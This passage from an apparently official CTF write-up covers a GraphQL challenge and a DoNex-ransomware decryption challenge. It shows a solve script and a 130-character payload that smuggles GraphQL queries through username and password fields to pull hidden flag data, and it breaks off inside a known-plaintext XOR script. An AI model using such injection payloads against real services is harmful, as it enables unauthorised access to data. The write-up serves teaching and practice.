<span><span style="color: #D6DEEB">    inner </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> query_match.</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">2</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;secret </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">        ok: </span><span style="color: #82AAFF">{outer}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">        isAdmin: </span><span style="color: #82AAFF">{outer}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">        username: </span><span style="color: #82AAFF">{outer}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ... i </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">      </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">      ... l</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    fragment i on </span><span style="color: #82AAFF">{fields</span><span style="color: #D6DEEB">[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Secret</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">[</span><span style="color: #82AAFF">outer</span><span style="color: #D9F5DD">]</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">      </span><span style="color: #82AAFF">{inner}</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    fragment l on Query </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    &#39;&#39;&#39;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get4</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">fields</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">use shortest leaf</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    path </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">bfs</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">flag_query</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> path</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    shortest </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">a</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1000</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> u, p </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> path.</span><span style="color: #B2CCD6">items</span><span style="color: #D6DEEB">():</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> u </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> f </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> fields[u]:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> f.</span><span style="color: #B2CCD6">startswith</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">not_flag</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">                q </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> p.</span><span style="color: #B2CCD6">replace</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">&lt;SLOT&gt;</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> f</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">q</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">shortest</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">                    shortest </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> q</span></span>
<span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;secret </span><span style="color: #F78C6C">{{</span><span style="color: #ECC48D"> ok: </span><span style="color: #82AAFF">{shortest}</span><span style="color: #ECC48D"> isAdmin: </span><span style="color: #82AAFF">{shortest}</span><span style="color: #ECC48D"> username: </span><span style="color: #82AAFF">{query}</span><span style="color: #ECC48D"> </span><span style="color: #F78C6C">}}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">res</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">sol2</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    fields </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">introspection1</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># fields = introspection2()</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">get_short</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">fields</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># get_long(fields)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># get1(fields)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># get2(fields)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># get3(fields)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># get4(fields)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">easter_egg</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    query </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;&#39;&#39;</span><span style="color: #ECC48D">secret {</span></span>
<span><span style="color: #ECC48D">      ok: __typename</span></span>
<span><span style="color: #ECC48D">      username: not_part_of_challenge {</span></span>
<span><span style="color: #ECC48D">        selectOnePresetData(presetKey: &quot;103765749452800&quot;, XH: &quot;2025019999&quot;, KCH: &quot;77777777&quot;) {</span></span>
<span><span style="color: #ECC48D">          XH KCH KSRQ XNXQ XF KCMC ZCJ</span></span>
<span><span style="color: #ECC48D">        }</span></span>
<span><span style="color: #ECC48D">      }</span></span>
<span><span style="color: #ECC48D">    }</span><span style="color: #D9F5DD">&#39;&#39;&#39;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">send</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">query</span><span style="color: #D6DEEB">))</span></span>
<span></span>
<span></span>
<span><span style="color: #B2CCD6">sol1</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #B2CCD6">sol2</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #B2CCD6">easter_egg</span><span style="color: #D6DEEB">()</span></span></code></pre></div></section>
<p>这个最短的 payload 只需要 130 字符的 <code>password</code><span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h4><ile-root id="ile-8"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-8--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">username = &#39;&quot;,$password:String=&quot;&quot;){login:#&#39;</span></span>
<span><span style="color: #403f53">password = &#39;\n__schema{ok:__typename username:types{name fields{name type{name}}}}x:#&#39;</span></span>
<span><span style="color: #403f53">username = &#39;&quot;,$password:String=&quot;&quot;){login:#&#39;</span></span>
<span><span style="color: #403f53">password = &#39;\nsecret{username:secret_EKFB{secret_BUNy{secret_3gjd{secret_695y{secret_DL6P{secret_A1NB{secret_r6H0{flag2}}}}}}}ok:__typename}x:#&#39;</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">username = &#39;&quot;,$password:String=&quot;&quot;){login:#&#39;</span></span>
<span><span style="color: #d6deeb">password = &#39;\n__schema{ok:__typename username:types{name fields{name type{name}}}}x:#&#39;</span></span>
<span><span style="color: #d6deeb">username = &#39;&quot;,$password:String=&quot;&quot;){login:#&#39;</span></span>
<span><span style="color: #d6deeb">password = &#39;\nsecret{username:secret_EKFB{secret_BUNy{secret_3gjd{secret_695y{secret_DL6P{secret_A1NB{secret_r6H0{flag2}}}}}}}ok:__typename}x:#&#39;</span></span></samp></pre></div></section>
<p>这题的 rate limit 主要是用来 ban 掉每次用 <code>__type<wbr>(<wbr>name<wbr>: "<wbr>Secret_XXX<wbr>")</code> 只查一个类型的单层字段<span class="mojikumi-line-end">，</span>但如果你每问 200 次就重启一次容器<span class="mojikumi-line-end">，</span>理论上可以在数十小时内尝试成功<span class="mojikumi-line-start">（</span></p>
<a id="不要依赖于隐藏路由" name="不要依赖于隐藏路由" aria-hidden="true"></a>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-green-2 dark:bg-green-9 b-green-5" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h4 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-lightbulb-outline text-green" data-v-a2ab257f></span><span class="sr-only" data-v-a2ab257f>Hint: </span><span data-v-a2ab257f>不要依赖于隐藏路由</span></h4><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p>GraphQL 默认开启 introspection<span class="mojikumi-line-end">，</span>整个 schema 都是公开的<span class="mojikumi-line-end">。</span>可以关闭 introspection 功能<span class="mojikumi-line-end">，</span>但更好的做法是不要让应用的安全性依赖于 schema 的隐蔽性<span class="mojikumi-line-end">，</span><a href="https://en.wikipedia.org/wiki/Security_through_obscurity">security through obscurity</a> 是不好的<span class="mojikumi-line-end">。</span></p></div></div></aside>
<h3 id="彩蛋" class="heading"><a href="#彩蛋" class="heading-anchor" aria-label="章节： 彩蛋" tabindex="-1"></a><span>彩蛋</span></h3>
<p>这题的 schema 中还有一个彩蛋<span class="mojikumi-line-end">，</span>本来发现它还比较困难<span class="mojikumi-line-end">，</span>但给了一个 <code>secret.gql</code> 示例其实就容易发现了<span class="mojikumi-line-end">，</span>但还是没人玩<span class="mojikumi-line-start">（</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="GraphQL 代码块" data-v-c675dba6>GraphQL</h4><ile-root id="ile-9"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-9--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">type</span><span style="color: #403F53"> </span><span style="color: #4876D6">NotPartOfChallenge</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">selectOnePresetData</span><span style="color: #403F53">(presetKey: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">, XH: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">, KCH: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">): </span><span style="color: #4876D6">Preset103765749452800</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">formParser</span><span style="color: #403F53">(status: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">, presetbind: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">, XH: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">, KCH: </span><span style="color: #4876D6">String</span><span style="color: #0C969B">!</span><span style="color: #403F53">): </span><span style="color: #4876D6">Preset103765749452800</span></span>
<span><span style="color: #403F53">}</span></span>
<span></span>
<span><span style="color: #994CC3">type</span><span style="color: #403F53"> </span><span style="color: #4876D6">Preset103765749452800</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">msg</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">status</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">XH</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">KCH</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">KSRQ</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">XNXQ</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">XF</span><span style="color: #403F53">: </span><span style="color: #4876D6">Int</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">KCMC</span><span style="color: #403F53">: </span><span style="color: #4876D6">String</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">ZCJ</span><span style="color: #403F53">: </span><span style="color: #4876D6">Int</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">type</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">NotPartOfChallenge</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">selectOnePresetData</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">presetKey</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">XH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">KCH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">): </span><span style="color: #C5E478">Preset103765749452800</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">formParser</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">status</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">presetbind</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">XH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">KCH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span><span style="color: #7FDBCA">!</span><span style="color: #D6DEEB">): </span><span style="color: #C5E478">Preset103765749452800</span></span>
<span><span style="color: #D6DEEB">}</span></span>
<span></span>
<span><span style="color: #C792EA">type</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">Preset103765749452800</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">msg</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">status</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">XH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">KCH</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">KSRQ</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">XNXQ</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">XF</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">Int</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">KCMC</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">String</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C5E478">ZCJ</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">Int</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<p>THU 三字班以上的同学或许知道这是什么<span class="mojikumi-line-start">（</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="JSON 代码块" data-v-c675dba6>JSON</h4><ile-root id="ile-10"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-10--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">{</span></span>
<span><span style="color: #403F53">  </span><span style="color: #0C969B">&quot;selectOnePresetData&quot;</span><span style="color: #403F53">: {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;KCH&quot;</span><span style="color: #403F53">: </span><span style="color: #111111">&quot;</span><span style="color: #C789D6">77777777</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;KCMC&quot;</span><span style="color: #403F53">: </span><span style="color: #111111">&quot;</span><span style="color: #C789D6">2025 “京华杯” 信息安全综合能力竞赛</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;KSRQ&quot;</span><span style="color: #403F53">: </span><span style="color: #111111">&quot;</span><span style="color: #C789D6">20251024</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;XF&quot;</span><span style="color: #403F53">: </span><span style="color: #AA0982">7</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;XH&quot;</span><span style="color: #403F53">: </span><span style="color: #111111">&quot;</span><span style="color: #C789D6">2025019999</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;XNXQ&quot;</span><span style="color: #403F53">: </span><span style="color: #111111">&quot;</span><span style="color: #C789D6">2025-2026-1</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">&quot;ZCJ&quot;</span><span style="color: #403F53">: </span><span style="color: #AA0982">-99</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">}</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">{</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&quot;selectOnePresetData&quot;</span><span style="color: #D6DEEB">: {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;KCH&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C789D6">77777777</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;KCMC&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C789D6">2025 “京华杯” 信息安全综合能力竞赛</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;KSRQ&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C789D6">20251024</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;XF&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #F78C6C">7</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;XH&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C789D6">2025019999</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;XNXQ&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #D9F5DD">&quot;</span><span style="color: #C789D6">2025-2026-1</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&quot;ZCJ&quot;</span><span style="color: #D6DEEB">: </span><span style="color: #F78C6C">-99</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">}</span></span></code></pre></div></section>
<h2 id="勒索病毒" class="heading"><a href="#勒索病毒" class="heading-anchor" aria-label="章节： 勒索病毒" tabindex="-1"></a><span>勒索病毒</span></h2>
<p>令人遗憾的是这题题面确实没有彩蛋<span class="mojikumi-line-start">（</span></p>
<p>P.S. 题目背景仅供娱乐<span class="mojikumi-line-end">，</span>我不仅日常用 Linux<span class="mojikumi-line-end">，</span>甚至双系统的 Windows 坏了几个月一直懒得修<span class="mojikumi-line-start">（</span></p>
<h3 id="flag-1-2" class="heading"><a href="#flag-1-2" class="heading-anchor" aria-label="章节： Flag 1" tabindex="-1"></a><span>Flag 1</span></h3>
<p>根据勒索信可以搜到关于 DoNex 的资料<span class="mojikumi-line-end">，</span>比如 decryptor<span class="mojikumi-line-end">，</span>以及 <a href="https://cfp.recon.cx/recon2024/talk/LQ8B7H/">Cryptography is hard: Breaking the DoNex ransomware :: Recon 2024</a><span class="mojikumi-line-end">。</span></p>
<p>漏洞很简单<span class="mojikumi-line-end">，</span>就是重用了流密码<span class="mojikumi-line-end">，</span>所以把已知明文<span class="mojikumi-line-end">、</span>对应的密文<span class="mojikumi-line-end">、</span>另一个密文异或在一起就能得到另一个明文<span class="mojikumi-line-end">。</span>被加密的文件中有上一届的 <code>algo<wbr>-<wbr>gzip<wbr>.<wbr>py</code><span class="mojikumi-line-end">，</span>就有了已知明文<span class="mojikumi-line-end">。</span></p>
<p>如果直接用 decryptor<span class="mojikumi-line-end">，</span>可能会提示解密不了<span class="mojikumi-line-end">，</span>这是因为长度不对<span class="mojikumi-line-end">，</span>而长度不对是因为被加密的文件是 CRLF<span class="mojikumi-line-end">，</span>而从 GitHub 下载的文件是 LF<span class="mojikumi-line-end">，</span>需要转换一下<span class="mojikumi-line-end">。</span>如果你注意力惊人<span class="mojikumi-line-end">，</span>或者在 Windows 上采用默认 Git 配置 checkout 文件而非从 GitHub 网页下载<span class="mojikumi-line-end">，</span>就能直接拿到 CRLF 的 <code>algo<wbr>-<wbr>gzip<wbr>.<wbr>py</code><span class="mojikumi-line-end">。</span>而如果你是自己写的异或解密而不是用的现成的 decryptor<span class="mojikumi-line-end">，</span>没有先检查文件长度<span class="mojikumi-line-end">，</span>你就会发现解密出来开头是 <code>This file contaiiZ#</code><span class="mojikumi-line-end">，</span>后面都是乱码<span class="mojikumi-line-end">，</span>此时<span class="mojikumi-line-end">，</span>结合 <code>algo<wbr>-<wbr>gzip<wbr>.<wbr>py</code> 第一行的长度<span class="mojikumi-line-end">，</span>只需要不惊人的注意力就能意识到<span class="mojikumi-line-end">，</span>可能是 CRLF 的问题<span class="mojikumi-line-end">。</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-11"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-11--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">root </span><span style="color: #994CC3">=</span><span style="color: #403F53"> argv[</span><span style="color: #AA0982">1</span><span style="color: #403F53">]</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">algo-gzip.py</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
<span><span style="color: #403F53">    known </span><span style="color: #994CC3">=</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">read</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #994CC3">with</span><span style="color: #403F53"> </span><span style="color: #4876D6">open</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{root}</span><span style="color: #C96765">/geekgame-4th/official_writeup/algo-gzip/attachment/algo-gzip.f58A66B51.py&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">rb</span><span style="color: #111111">&#39;</span><span style="color: #403F53">) </span><span style="color: #994CC3">as</span><span style="color: #403F53"> f:</span></span>
